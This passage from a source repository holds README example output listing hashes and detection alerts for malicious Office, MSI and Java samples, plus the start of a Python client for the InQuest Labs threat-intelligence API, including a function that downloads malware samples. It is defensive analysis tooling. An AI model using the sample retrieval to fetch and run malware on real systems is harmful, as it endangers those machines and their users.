369 | View example 370 | 371 | ```bash 372 | $ inquestlabs trystero list-samples 2021-06-29 | jq . 373 | [ 374 | { 375 | "analysis_completed": true, 376 | "bypasses": "google,microsoft", 377 | "subcategory": "macro_hunter", 378 | "classification": "MALICIOUS", 379 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule", 380 | "file_type": "OLE", 381 | "image": false, 382 | "vt_positives": 3, 383 | "inquest_alerts": [ 384 | { 385 | "category": "info", 386 | "description": "Detected macro logic that can write data to the file system.", 387 | "reference": null, 388 | "title": "Macro with File System Write" 389 | }, 390 | { 391 | "category": "evasive", 392 | "description": "Detected a macro with an elusive start-up hook. These esoteric hooks result in automated macro logic execution which may not be detected by dynamic analysis systems.", 393 | "reference": null, 394 | "title": "Macro with Esoteric Startup Hook" 395 | }, 396 | { 397 | "category": "info", 398 | "description": "Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.", 399 | "reference": null, 400 | "title": "Macro with Startup Hook" 401 | }, 402 | { 403 | "category": "malicious", 404 | "description": "An InQuest machine-learning model classified this macro as potentially malicious.", 405 | "reference": null, 406 | "title": "InQuest Machine Learning" 407 | }, 408 | { 409 | "category": "suspicious", 410 | "description": "Detected macro logic that will load additional functionality from Dynamically Linked Libraries (DLLs). While not explicitly malicious, this is a common tactic for accessing APIs that are not otherwised exposed via Visual Basic for Applications (VBA).", 411 | "reference": null, 412 | "title": "Macro with DLL Reference" 413 | } 414 | ], 415 | "downloadable": true, 416 | "available_on_labs": true, 417 | "vt_weight": 0, 418 | "last_inquest_featext": "2021-06-28T04:16:36", 419 | "first_seen": "2021-06-28T04:15:47", 420 | "sha256": "c1df09944fe4eb4f7f86bd3a342e4548e584290167623959bca58acef4e25a1d", 421 | "mime_type": "application/cdfv2", 422 | "size": 1305088 423 | }, 424 | { 425 | "analysis_completed": true, 426 | "bypasses": "microsoft", 427 | "subcategory": "macro_hunter", 428 | "classification": "MALICIOUS", 429 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule", 430 | "file_type": "OLE", 431 | "image": false, 432 | "vt_positives": 12, 433 | "inquest_alerts": [ 434 | { 435 | "category": "info", 436 | "description": "Detected macro logic that can write data to the file system.", 437 | "reference": null, 438 | "title": "Macro with File System Write" 439 | }, 440 | { 441 | "category": "info", 442 | "description": "Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.", 443 | "reference": null, 444 | "title": "Macro with Startup Hook" 445 | }, 446 | { 447 | "category": "info", 448 | "description": "Detected a macro with a suspicious string. Suspicious strings include privileged function calls, obfuscations, odd registry keys, etc...", 449 | "reference": null, 450 | "title": "Macro Contains Suspicious String" 451 | }, 452 | { 453 | "category": "suspicious", 454 | "description": "Detected a macro that leverages Windows Management Instrumentation (WMI) functionality.", 455 | "reference": null, 456 | "title": "WMI Functionality" 457 | } 458 | ], 459 | "downloadable": true, 460 | "available_on_labs": true, 461 | "vt_weight": 6.199999809265137, 462 | "last_inquest_featext": "2021-06-28T12:14:44", 463 | "first_seen": "2021-06-28T12:13:41", 464 | "sha256": "59876f4baebcc78f3fcc944b24efb475f5030f6bb10190f4c07a6af5fa5c1568", 465 | "mime_type": "application/cdfv2", 466 | "size": 22528 467 | }, 468 | { 469 | "analysis_completed": false, 470 | "bypasses": "google,microsoft", 471 | "subcategory": "maldoc_hunter", 472 | "classification": "MALICIOUS", 473 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/maldoc_hunter.rule", 474 | "file_type": "OTHER", 475 | "image": false, 476 | "vt_positives": 9, 477 | "inquest_alerts": [ 478 | { 479 | "category": "info", 480 | "description": "Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.", 481 | "reference": null, 482 | "title": "Windows PE Executable" 483 | }, 484 | { 485 | "category": "suspicious", 486 | "description": "Detected an ANSI or UNICODE http:// or https:// base64 encoded URL prefix.", 487 | "reference": null, 488 | "title": "Base64 Encoded URL" 489 | } 490 | ], 491 | "downloadable": false, 492 | "available_on_labs": false, 493 | "vt_weight": 5.800000190734863, 494 | "last_inquest_featext": null, 495 | "first_seen": "2021-06-28T12:58:56", 496 | "sha256": "bd736e5b4dc9e802a4b9c4cab0d1e0df872ce3c42091142d50b7520dc02abaad", 497 | "mime_type": "application/x-msi", 498 | "size": 4687360 499 | }, 500 | { 501 | "analysis_completed": false, 502 | "bypasses": "microsoft", 503 | "subcategory": "maljar_hunter", 504 | "classification": "MALICIOUS", 505 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/maljar_hunter.rule", 506 | "file_type": "OTHER", 507 | "image": false, 508 | "vt_positives": 9, 509 | "inquest_alerts": [], 510 | "downloadable": false, 511 | "available_on_labs": false, 512 | "vt_weight": 3.5999999046325684, 513 | "last_inquest_featext": null, 514 | "first_seen": "2021-06-28T13:43:23", 515 | "sha256": "e4ae2b5eb9b8549a322354dff9e88a0a356646351f5087e2d6ef91a630ef6007", 516 | "mime_type": "application/x-java-applet", 517 | "size": 19799 518 | } 519 | ] 520 | ``` 521 | 522 |
523 | -------------------------------------------------------------------------------- /inquestlabs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | InQuest Labs Command Line Driver 5 | 6 | Usage: 7 | inquestlabs [options] dfi list 8 | inquestlabs [options] dfi details [--attributes] 9 | inquestlabs [options] dfi download [--encrypt] 10 | inquestlabs [options] dfi attributes [--filter=] 11 | inquestlabs [options] dfi search (code|context|metadata|ocr) 12 | inquestlabs [options] dfi search (md5|sha1|sha256|sha512) 13 | inquestlabs [options] dfi search (domain|email|filename|filepath|ip|registry|url|xmpid) 14 | inquestlabs [options] dfi sources 15 | inquestlabs [options] dfi upload 16 | inquestlabs [options] iocdb list 17 | inquestlabs [options] iocdb search 18 | inquestlabs [options] iocdb sources 19 | inquestlabs [options] repdb list 20 | inquestlabs [options] repdb search 21 | inquestlabs [options] repdb sources 22 | inquestlabs [options] yara (b64re|base64re) [(--big-endian|--little-endian)] 23 | inquestlabs [options] yara hexcase 24 | inquestlabs [options] yara uint [--offset=] [--hex] 25 | inquestlabs [options] yara widere [(--big-endian|--little-endian)] 26 | inquestlabs [options] yara cidr 27 | inquestlabs [options] lookup ip 28 | inquestlabs [options] lookup domain 29 | inquestlabs [options] report 30 | inquestlabs [options] stats 31 | inquestlabs [options] setup 32 | inquestlabs [options] trystero list-days 33 | inquestlabs [options] trystero list-samples 34 | 35 | Options: 36 | --attributes Include attributes with DFI record. 37 | --api= Specify an API key. 38 | --big-endian Toggle big endian. 39 | --config= Configuration file with API key [default: ~/.iqlabskey]. 40 | --debug Docopt debugging. 41 | --encrypt Zip sample with password 'infected' before downloading. 42 | --filter= Filter by attributes type (domain, email, filename, filepath, ip, registry, url, xmpid) 43 | -h --help Show this screen. 44 | --hex Treat as hex bytes. 45 | -l --limits Show remaining API credits and limit reset window. 46 | --little-endian Toggle little endian. 47 | --offset= Specify an offset other than 0 for the trigger. 48 | --proxy= Intermediate proxy 49 | --timeout= Maximum amount of time to wait for IOC report. 50 | --verbose= Verbosity level, outputs to stderr [default: 0]. 51 | --version Show version. 52 | """ 53 | 54 | # python 2/3 compatability. 55 | from __future__ import print_function 56 | 57 | try: 58 | import configparser 59 | except: 60 | import ConfigParser as configparser 61 | 62 | # batteries not included. 63 | import docopt 64 | import requests 65 | 66 | # disable ssl warnings from requests. 67 | try: 68 | import urllib3 69 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 70 | except: 71 | pass 72 | 73 | # standard libraries. 74 | import multiprocessing 75 | import ipaddress 76 | import hashlib 77 | import random 78 | import time 79 | import json 80 | import sys 81 | import os 82 | import re 83 | # from importlib.metadata import version 84 | 85 | # extract version from installed package metadata 86 | __application_name__ = "inquestlabs" 87 | __version__ = "1.2.4" 88 | # __version__ = version(__application_name__) 89 | __full_version__ = f"{__application_name__} {__version__}" 90 | 91 | VALID_CAT = ["ext", "hash", "ioc"] 92 | VALID_EXT = ["code", "context", "metadata", "ocr"] 93 | VALID_HASH = ["md5", "sha1", "sha256", "sha512"] 94 | VALID_IOC = ["domain", "email", "filename", "filepath", "ip", "registry", "url", "xmpid"] 95 | VALID_DOMAIN = re.compile("[a-zA-Z0-9-_]+\.[a-zA-Z0-9-_]+") 96 | 97 | # verbosity levels. 98 | INFO = 1 99 | DEBUG = 2 100 | 101 | ######################################################################################################################## 102 | def worker_proxy (labs, endpoint, arguments, response): 103 | """ 104 | proxy function for multiprocessing wrapper used by inquestlabs_api.report() 105 | """ 106 | 107 | response[endpoint] = getattr(labs, endpoint)(*arguments) 108 | 109 | 110 | ######################################################################################################################## 111 | class inquestlabs_exception(Exception): 112 | pass 113 | 114 | ######################################################################################################################## 115 | class inquestlabs_api: 116 | """ 117 | InQuest Labs API Wrapper 118 | https://labs.inquest.net 119 | """ 120 | 121 | #################################################################################################################### 122 | def __init__ (self, api_key=None, config=None, proxies=None, base_url=None, retries=3, verify_ssl=True, verbose=0): 123 | """ 124 | Instantiate an interface to InQuest Labs. API key is optional but sourced from (in order): argument, environment 125 | variable, or configuration file. Proxy dictionary is a raw pass thru to python-requests, valid keys are 'http' 126 | and 'https'. 127 | 128 | :type api_key: str 129 | :param api_key: API key, optional, can also be supplied via environment variable 'IQLABS_APIKEY'. 130 | :type config: str 131 | :param config: Path to configuration file containing API key, default is '~/.iqlabskey'. 132 | :type proxies: dict 133 | :param proxies: Optional proxy dictionary to pass down to underlying python-requests library. 134 | :type base_url: str 135 | :param base_url: API endpoint. 136 | :type retries: int 137 | :param retries: Number of times to attempt API request before giving up. 138 | :type verify_ssl: bool 139 | :param verify_ssl: Toggles SSL certificate verification when communicating with the API. 140 | :type verbose: int 141 | :param verbose: Values greater than zero provide increased verbosity. 142 | """ 143 | 144 | # internalize supplied parameters. 145 | self.api_key = api_key 146 | self.base_url = base_url 147 | self.config_file = config 148 | self.retries = retries 149 | self.proxies = proxies 150 | self.verify_ssl = verify_ssl 151 | self.verbosity = verbose 152 | 153 | # internal rate limit tracking. 154 | self.rlimit_requests_remaining = None # requests remaining in this rate limit window. 155 | self.rlimit_reset_epoch_time = None # time, in seconds from epoch, that rate limit window resets. 156 | self.rlimit_reset_epoch_ctime = None # same as above, but in ctime human readable format. 157 | self.rlimit_seconds_to_reset = None # seconds to reset time. 158 | self.api_requests_made = 0 # keep track of how many API requests we've made. 159 | 160 | # if no base URL was specified, use the default. 161 | if self.base_url is None: 162 | self.base_url = "https://labs.inquest.net/api" 163 | self.__VERBOSE("base_url=%s" % self.base_url, DEBUG) 164 | 165 | # if no config file was supplied, use a default path of ~/.iqlabskey. 166 | if self.config_file is None: 167 | self.config_file = os.path.join(os.path.expanduser("~"), ".iqlabskey") 168 | 169 | elif "~" in self.config_file: 170 | self.config_file = os.path.expanduser(self.config_file) 171 | 172 | self.__VERBOSE("config_file=%s" % self.config_file, DEBUG) 173 | 174 | # if an API key was specified, note the source. 175 | if self.api_key: 176 | self.api_key_source = "supplied" 177 | 178 | # otherwise, we don't have an API source yet, we'll check the environment and config files though. 179 | 180 | else: 181 | self.api_key_source = "N/A" 182 | 183 | # check the environment for one 184 | self.api_key = os.environ.get("IQLABS_APIKEY") 185 | 186 | if self.api_key: 187 | self.api_key_source = "environment" 188 | 189 | # if we still don't have an API key, try loading one from the config file. 190 | else: 191 | 192 | # config file format: 193 | # $ cat .iqlabskey 194 | # [inquestlabs] 195 | # apikey: deadbeefdeadbeefdeadbeefdeadbeefdeadbeef 196 | if os.path.exists(self.config_file) and os.path.isfile(self.config_file): 197 | 198 | config = configparser.ConfigParser() 199 | 200 | try: 201 | config.read(self.config_file) 202 | except: 203 | raise inquestlabs_exception("invalid configuration file: %s" % self.config_file) 204 | 205 | try: 206 | self.api_key = config.get("inquestlabs", "apikey") 207 | except: 208 | raise inquestlabs_exception("unable to find inquestlabs.apikey in: %s" % self.config_file) 209 | 210 | # update the source, include the path. 211 | self.api_key_source = "config: %s" % self.config_file 212 | 213 | # NOTE: if we still don't have an API key that's fine! InQuest Labs will simply work with some rate limits. 214 | self.__VERBOSE("api_key=%s" % self.api_key, DEBUG) 215 | self.__VERBOSE("api_key_source=%s" % self.api_key_source, INFO) 216 | 217 | #################################################################################################################### 218 | def API (self, api, data=None, path=None, method="GET", raw=False, params=None): 219 | """ 220 | Internal API wrapper. 221 | 222 | :type api: str 223 | :param api: API endpoint, appended to base URL. 224 | :type data: dict 225 | :param data: Optional data dictionary to pass to endpoint. 226 | :type path: str 227 | :param path: Optional path to file to pass to endpoint. 228 | :type method: str 229 | :param method: API method, one of "GET" or "POST". 230 | :type raw: bool 231 | :param raw: Default behavior is to expect JSON encoded content, raise this flag to expect raw data. 232 | :type method: str 233 | :param method: Set a parameter for the request. 234 | 235 | :rtype: dict | str 236 | :return: Response dictionary or string if 'raw' flag is raised. 237 | """ 238 | 239 | assert method in ["GET", "POST"] 240 | 241 | # if a file path was supplied, convert to a dictionary compatible with requests and the labs API. 242 | files = None 243 | 244 | if path: 245 | files = dict(file=open(path, "rb")) 246 | 247 | # initialize headers with a custom user-agent and if an API key is available, add an authorization header. 248 | headers = \ 249 | { 250 | "User-Agent" : "python-inquestlabs/%s" % __version__ 251 | } 252 | 253 | if self.api_key: 254 | headers["Authorization"] = "Basic %s" % self.api_key 255 | 256 | # build the keyword arguments that will be passed to requests library. 257 | kwargs = \ 258 | { 259 | "data" : data, 260 | "files" : files, 261 | "headers" : headers, 262 | "proxies" : self.proxies, 263 | "verify" : self.verify_ssl, 264 | "params" : params 265 | } 266 | 267 | # make attempts to dance with the API endpoint, use a jittered exponential back-off delay. 268 | last_exception = None 269 | endpoint = self.base_url + api 270 | attempt = 0 271 | 272 | self.__VERBOSE("%s %s" % (method, endpoint), INFO) 273 | 274 | while 1: 275 | try: 276 | response = requests.request(method, endpoint, **kwargs) 277 | self.api_requests_made += 1 278 | self.__VERBOSE("[%d] %s" % (self.api_requests_made, kwargs), DEBUG) 279 | break 280 | 281 | except Exception as e: 282 | last_exception = e 283 | self.__VERBOSE("API exception: %s" % e, INFO) 284 | 285 | # 0.4, 1.6, 6.4, 25.6, ... 286 | time.sleep(random.uniform(0, 4 ** attempt * 100 / 1000.0)) 287 | attempt += 1 288 | 289 | # retries exhausted. 290 | if attempt == self.retries: 291 | message = "exceeded %s attempts to communicate with InQuest Labs API endpoint %s." 292 | message %= self.retries, endpoint 293 | 294 | if last_exception: 295 | message += "\nlast exception:\n%s" % str(last_exception) 296 | 297 | raise inquestlabs_exception(message) 298 | 299 | # update internal rate limit tracking variables. 300 | if hasattr(response, "headers"): 301 | self.rlimit_requests_remaining = response.headers.get('X-RateLimit-Remaining') 302 | self.rlimit_reset_epoch_time = response.headers.get('X-RateLimit-Reset') 303 | 304 | if self.rlimit_requests_remaining: 305 | self.rlimit_requests_remaining = int(self.rlimit_requests_remaining) 306 | 307 | if self.rlimit_reset_epoch_time: 308 | self.rlimit_reset_epoch_time = int(self.rlimit_reset_epoch_time) 309 | self.rlimit_seconds_to_reset = int(self.rlimit_reset_epoch_time - time.time()) 310 | self.rlimit_reset_epoch_ctime = time.ctime(self.rlimit_reset_epoch_time) 311 | 312 | self.__VERBOSE("API status_code=%d" % response.status_code, INFO) 313 | self.__VERBOSE(response.content, DEBUG) 314 | 315 | # all good. 316 | if response.status_code == 200: 317 | 318 | # if the raw flag was raised, return raw content now. 319 | if raw: 320 | return response.content 321 | 322 | # otherwise, we convert the assumed JSON response to a python dictionary. 323 | response_json = response.json() 324 | 325 | # with a 200 status code, success should always be true... 326 | if response_json['success']: 327 | return response_json['data'] 328 | 329 | # ... but let's handle corner cases where it may not be. 330 | else: 331 | message = "status=200 but error communicating with %s: %s" 332 | message %= endpoint, response_json.get("error", "n/a") 333 | raise inquestlabs_exception(message) 334 | 335 | # rate limit exhaustion. 336 | elif response.status_code == 429: 337 | raise inquestlabs_exception("status=429 rate limit exhausted!") 338 | 339 | # something else went wrong. 340 | else: 341 | message = "status=%d error communicating with %s: " 342 | message %= response.status_code, endpoint 343 | 344 | try: 345 | response_json = response.json() 346 | message += response_json.get("error", "n/a") 347 | except: 348 | message += str(response.content) 349 | 350 | raise inquestlabs_exception(message) 351 | 352 | #################################################################################################################### 353 | def __HASH (self, path=None, bytes=None, algorithm="md5", block_size=16384, fmt="digest"): 354 | """ 355 | Return the selected algorithms crytographic hash hex digest of the given file. 356 | 357 | :type path: str 358 | :param path: Path to file to hash or None if supplying bytes. 359 | :type bytes: str 360 | :param bytes: str bytes to hash or None if supplying a path to a file. 361 | :type algorithm: str 362 | :param algorithm: One of "md5", "sha1", "sha256" or "sha512". 363 | :type block_size: int 364 | :param block_size: Size of blocks to process. 365 | :type fmt: str 366 | :param fmt: One of "digest" (str), "raw" (hashlib object), "parts" (array of numeric parts). 367 | 368 | :rtype: str 369 | :return: Hash as hex digest. 370 | """ 371 | 372 | def chunks (l, n): 373 | for i in range(0, len(l), n): 374 | yield l[i:i+n] 375 | 376 | algorithm = algorithm.lower() 377 | 378 | if algorithm == "md5": hashfunc = hashlib.md5() 379 | elif algorithm == "sha1": hashfunc = hashlib.sha1() 380 | elif algorithm == "sha256": hashfunc = hashlib.sha256() 381 | elif algorithm == "sha512": hashfunc = hashlib.sha512() 382 | 383 | # hash a file. 384 | if path: 385 | with open(path, "rb") as fh: 386 | while 1: 387 | data = fh.read(block_size) 388 | 389 | if not data: 390 | break 391 | 392 | hashfunc.update(data) 393 | 394 | # hash a stream of bytes. 395 | elif bytes: 396 | hashfunc.update(bytes) 397 | 398 | # error. 399 | else: 400 | raise inquestlabs_exception("hash expects either 'path' or 'bytes'.") 401 | 402 | # return multiplexor. 403 | if fmt == "raw": 404 | return hashfunc 405 | 406 | elif fmt == "parts": 407 | return map(lambda x: int(x, 16), list(chunks(hashfunc.hexdigest(), 8))) 408 | 409 | else: # digest 410 | return hashfunc.hexdigest() 411 | 412 | #################################################################################################################### 413 | def __HASH_VALIDATE (self, hash_str, length=None): 414 | """ 415 | Determine if the given hash string contains valid hex chars for the specified length or entirely, if left out. 416 | 417 | :type hash_str: str 418 | :param hash_str: Hash string to verify. 419 | :type length: int 420 | :param length: Number of characters in hash string. 421 | 422 | :rtype: bool 423 | :return: True is hash string is valid, False otherwise. 424 | """ 425 | 426 | if not hash_str: 427 | return None 428 | 429 | if length and len(hash_str) != length: 430 | return False 431 | 432 | if re.match("[0-9a-fA-F]+", hash_str, re.I): 433 | return True 434 | 435 | return False 436 | 437 | #################################################################################################################### 438 | def __VERBOSE (self, message, verbosity=INFO): 439 | """ 440 | Outputs 'message' to stderr if instance verbosity is equal to or greater than the supplied verbosity. 441 | 442 | :type message: str 443 | :param message: Path to file to hash or None if supplying bytes. 444 | :type verbosity: int 445 | :param verbosity: Minimum verbosity level required to display message. 446 | """ 447 | 448 | if self.verbosity >= verbosity: 449 | sys.stderr.write("[verbosity=%d] %s\n" % (self.verbosity, message)) 450 | 451 | #################################################################################################################### 452 | # hash shorcuts. 453 | def md5 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="md5") 454 | def sha1 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="sha1") 455 | def sha256 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="sha256") 456 | def sha512 (self, path=None, bytes=None): return self.__HASH(path=path, bytes=bytes, algorithm="sha512") 457 | 458 | def is_md5 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 32) 459 | def is_sha1 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 40) 460 | def is_sha256 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 64) 461 | def is_sha512 (self, hash_str): return self.__HASH_VALIDATE(hash_str, 128) 462 | 463 | #################################################################################################################### 464 | def dfi_attributes (self, sha256, filter_by=None): 465 | """ 466 | Retrieve attributes for a given file by SHA256 hash value. 467 | 468 | :type sha256: str 469 | :param sha256: SHA256 hash for the file we are interested in. 470 | :type filter_by: str 471 | :param filter_by: Optional filter, can be one of 'domain', 'email', 'filename', 'filepath', ip', 'registry', 'url', 'xmpid'. 472 | :rtype: dict 473 | :return: API response. 474 | """ 475 | 476 | # if a filter is specified, sanity check. 477 | if filter_by: 478 | filter_by = filter_by.lower() 479 | 480 | if filter_by not in VALID_IOC: 481 | message = "invalid attribute filter '%s'. valid filters include: %s" 482 | message %= filter_by, ", ".join(VALID_IOC) 483 | raise inquestlabs_exception(message) 484 | 485 | # dance with the API. 486 | attributes = self.API("/dfi/details/attributes", dict(sha256=sha256)) 487 | 488 | # filter if necessary. 489 | if filter_by: 490 | # sample data: 491 | # [ 492 | # { 493 | # "category": "ioc", 494 | # "attribute": "domain", 495 | # "count": 1, 496 | # "value": "ancel.To" 497 | # }, 498 | # { 499 | # "category": "ioc", 500 | # "attribute": "domain", 501 | # "count": 1, 502 | # "value": "Application.Top" 503 | # } 504 | # ] 505 | attributes = [attr for attr in attributes if attr['attribute'] == filter_by] 506 | 507 | # return attributes. 508 | return attributes 509 | 510 | #################################################################################################################### 511 | def dfi_details (self, sha256, attributes=False): 512 | """ 513 | Retrieve details for a given file by SHA256 hash value. Optionally, pull attributes in a second API request 514 | and append to the data dictionary under the key 'attributes'. 515 | 516 | Returned dictionary keys and value types include:: 517 | analysis_completed: bool 518 | classification: MALICIOUS|BENIGN 519 | ext_code: str 520 | ext_context: str 521 | ext_metadata: str 522 | ext_ocr: str 523 | file_type: CAB|DOC|DOCX|EML|MSI|OLE|PCAP|PPT|TNEF|XLS 524 | first_seen: str ex: Thu, 07 Nov 2019 21:26:53 GMT 525 | inquest_alerts: dict keys=category,description,reference,title 526 | inquest_dfi_size: int 527 | last_inquest_dfi: str 528 | last_inquest_featext: str 529 | last_updated: str 530 | len_code: int 531 | len_context: int 532 | len_metadata: int 533 | len_ocr: int 534 | md5: str 535 | mime_type: str 536 | sha1: str 537 | sha256: str 538 | sha512: str 539 | size: int 540 | subcategory: str 541 | subcategory_url: str 542 | virus_total: str 543 | 544 | :type sha256: str 545 | :param sha256: SHA256 hash for the file we are interested in. 546 | :type attributes: bool 547 | :param attributes: Raise this flag to includes 'attributes' subkey. 548 | 549 | :rtype: dict 550 | :return: API response. 551 | """ 552 | 553 | assert self.is_sha256(sha256) 554 | 555 | # API dance. 556 | 557 | data = self.API("/dfi/details", dict(sha256=sha256)) 558 | 559 | 560 | if attributes: 561 | data['attributes'] = self.dfi_attributes(sha256) 562 | 563 | return data 564 | 565 | #################################################################################################################### 566 | def dfi_download (self, sha256, path, encrypt=False): 567 | """ 568 | Download requested file and save to path. 569 | 570 | :type sha256: str 571 | :param sha256: SHA256 hash for the file we are interested in. 572 | :type path: str 573 | :param path: Where we want to save the file. 574 | :type encrypt: bool 575 | :param encrypt: Raise this flag to download the file inside a Zip file encrypted with the password 'infected'. 576 | """ 577 | 578 | assert self.is_sha256(sha256) 579 | 580 | # NOTE: we're reading the file directly into memory here! not worried about it as the files are small and we 581 | # done anticipate any OOM issues. 582 | data = self.API("/dfi/download", dict(sha256=sha256, encrypt_download=encrypt), raw=True) 583 | 584 | # if we requested a raw download, then ensure we got what we were looking for. 585 | if not encrypt: 586 | calculated = self.sha256(bytes=data) 587 | 588 | if calculated != sha256: 589 | message = "failed downloading file! expected sha256=%s calculated sha256=%s" 590 | message %= sha256, calculated 591 | raise inquestlabs_exception(message) 592 | 593 | # write the file to disk. 594 | with open(path, "wb+") as fh: 595 | fh.write(data) 596 | 597 | #################################################################################################################### 598 | def dfi_list (self, malicious=None, kind=None, has_code=None, has_context=None, has_metadata=None, has_ocr=None): 599 | """ 600 | Retrieve the most recent DFI entries. Example dictionary returned in list:: 601 | 602 | {'analysis_completed': True, 603 | 'classification': 'MALICIOUS', 604 | 'file_type': 'DOC', 605 | 'first_seen': 'Thu, 07 Nov 2019 21:26:53 GMT', 606 | 'inquest_alerts': [], 607 | 'last_inquest_featext': 'Thu, 07 Nov 2019 21:30:23 GMT', 608 | 'len_code': 10963, 609 | 'len_context': 24, 610 | 'len_metadata': 1021, 611 | 'len_ocr': 0, 612 | 'mime_type': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 613 | 'sha256': 'f7702e873c1a26e8171d771180108a9735cb5a2b69958e14b51eb572973cfb7b', 614 | 'size': 821038, 615 | 'subcategory': 'macro_hunter', 616 | 'subcategory_url': 'https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule'} 617 | 618 | :type malicious: bool 619 | :param malicious: Filter results by whether or not they are malicious. 620 | :type kind: str 621 | :param kind: Filter list by high level type, ex: 'DOC', 'DOCX', 'OLE', 'PPT', 'XLS'. 622 | :type has_code: int 623 | :param has_code: Filter results by whether or not they contain X bytes of embedded logic. 624 | :type has_context: int 625 | :param has_context: Filter results by whether or not they contain X bytes of semantic information. 626 | :type has_metadata: int 627 | :param has_metadata: Filter results by whether or not they contain X bytes of any metadata. 628 | :type has_ocr: int 629 | :param has_ocr: Filter results by whether or not they contain X bytes of OCR extracted semantic data. 630 | 631 | :rtype: list 632 | :return: List of dictionaries. 633 | """ 634 | 635 | filtered = [] 636 | 637 | for entry in self.API("/dfi/list"): 638 | 639 | 640 | # process filters as disqualifiers. 641 | if malicious == True and entry['classification'] != "MALICIOUS": 642 | continue 643 | 644 | if malicious == False and entry['classification'] != "UNKNOWN": 645 | continue 646 | 647 | if kind is not None and entry['file_type'] != kind: 648 | continue 649 | 650 | if has_code is not None and entry['len_code'] < has_code: 651 | continue 652 | 653 | if has_context is not None and entry['len_context'] < has_context: 654 | continue 655 | 656 | if has_metadata is not None and entry['len_metadata'] < has_metadata: 657 | continue 658 | 659 | if has_ocr is not None and entry['len_ocr'] < has_ocr: 660 | continue 661 | 662 | # if we're still here, we keep the entry. 663 | filtered.append(entry) 664 | 665 | return filtered 666 | 667 | #################################################################################################################### 668 | def dfi_search (self, category, subcategory, keyword): 669 | """ 670 | Search DFI category/subcategory by keyword. Valid categories include: 'ext', 'hash', and 'ioc'. Valid 671 | subcategories for each include: ext: 'code', 'context', 'metadata', and 'ocr'. hash: 'md5', 'sha1', 'sha256', 672 | and 'sha512'. ioc: 'domain', 'email', 'filename', 'filepath', ip', 'registry', url', 'xmpid'. See 673 | https://labs.inquest.net for more information. 674 | 675 | Example dictionary returned in list of matched entries:: 676 | 677 | {'analysis_completed': True, 678 | 'classification': 'MALICIOUS', 679 | 'file_type': 'DOC', 680 | 'first_seen': 'Thu, 07 Nov 2019 21:26:53 GMT', 681 | 'inquest_alerts': [], 682 | 'last_inquest_featext': 'Thu, 07 Nov 2019 21:30:23 GMT', 683 | 'len_code': 10963, 684 | 'len_context': 24, 685 | 'len_metadata': 1021, 686 | 'len_ocr': 0, 687 | 'mime_type': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 688 | 'sha256': 'f7702e873c1a26e8171d771180108a9735cb5a2b69958e14b51eb572973cfb7b', 689 | 'size': 821038, 690 | 'subcategory': 'macro_hunter', 691 | 'subcategory_url': 'https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule'} 692 | 693 | :type category: str 694 | :param category: Search category, one of 'ext', 'hash', or 'ioc'. 695 | :type subcategory: str 696 | :param subcategory: Search subcategory. 697 | :type keyword: str 698 | :param keyword: Keyword, hash, or IOC to search for. 699 | 700 | :rtype: list 701 | :return: API response. 702 | """ 703 | 704 | # normalize to lowercase. 705 | category = category.lower() 706 | subcategory = subcategory.lower() 707 | 708 | # sanity check. 709 | if category not in VALID_CAT: 710 | message = "invalid category '%s'. valid categories include: %s" 711 | message %= category, ", ".join(VALID_CAT) 712 | raise inquestlabs_exception(message) 713 | 714 | for c, v in zip(VALID_CAT, [VALID_EXT, VALID_HASH, VALID_IOC]): 715 | if category == c and subcategory not in v: 716 | message = "invalid subcategory '%s' for category '%s'. valid subcategories include: %s" 717 | message %= subcategory, category, ", ".join(v) 718 | raise inquestlabs_exception(message) 719 | 720 | # API dance. 721 | if category == "ext": 722 | subcategory = "ext_" + subcategory 723 | 724 | if category == "hash": 725 | data = dict(hash=keyword) 726 | else: 727 | data = dict(keyword=keyword) 728 | 729 | return self.API("/dfi/search/%s/%s" % (category, subcategory), data) 730 | 731 | #################################################################################################################### 732 | def dfi_sources (self): 733 | """ 734 | Retrieves the list of YARA hunt rules that run atop of Virus Total Intelligence and fuel the majority of the 735 | DFI corpus. 736 | 737 | :rtype: dict 738 | :return: API response. 739 | """ 740 | 741 | return self.API("/dfi/sources") 742 | 743 | #################################################################################################################### 744 | def dfi_upload (self, path): 745 | """ 746 | Uploads a file to InQuest Labs for Deep File Inspection (DFI). Note that the file must be one of doc, docx, ppt, 747 | pptx, xls, xlsx. 748 | 749 | :type path: str 750 | :param path: Path to file to upload. 751 | 752 | :rtype: dict 753 | :return: API response. 754 | """ 755 | 756 | VALID_TYPES = ["doc", "docx", "ppt", "pptx", "xls", "xlsx"] 757 | 758 | # ensure the path exists and points to a file. 759 | if not os.path.exists(path) or not os.path.isfile(path): 760 | raise inquestlabs_exception("invalid file path specified for upload: %s" % path) 761 | 762 | # ensure the file is an OLE (pre 2007 Office file) or ZIP (post 2007 Office file). 763 | with open(path, "rb") as fh: 764 | if fh.read()[:2] not in [b"\xD0\xCF", b"PK"]: 765 | message = "unsupported file type for upload, valid files include: %s, etc..." 766 | message %= ", ".join(VALID_TYPES) 767 | raise inquestlabs_exception(message) 768 | 769 | # dance with the API. 770 | return self.API("/dfi/upload", method="POST", path=path) 771 | 772 | #################################################################################################################### 773 | def iocdb_list (self, kind=None, ref_link_keyword=None, ref_text_keyword=None): 774 | """ 775 | Retrieve a list of the most recent entries added to the InQuest Labs IOC database. Example data:: 776 | 777 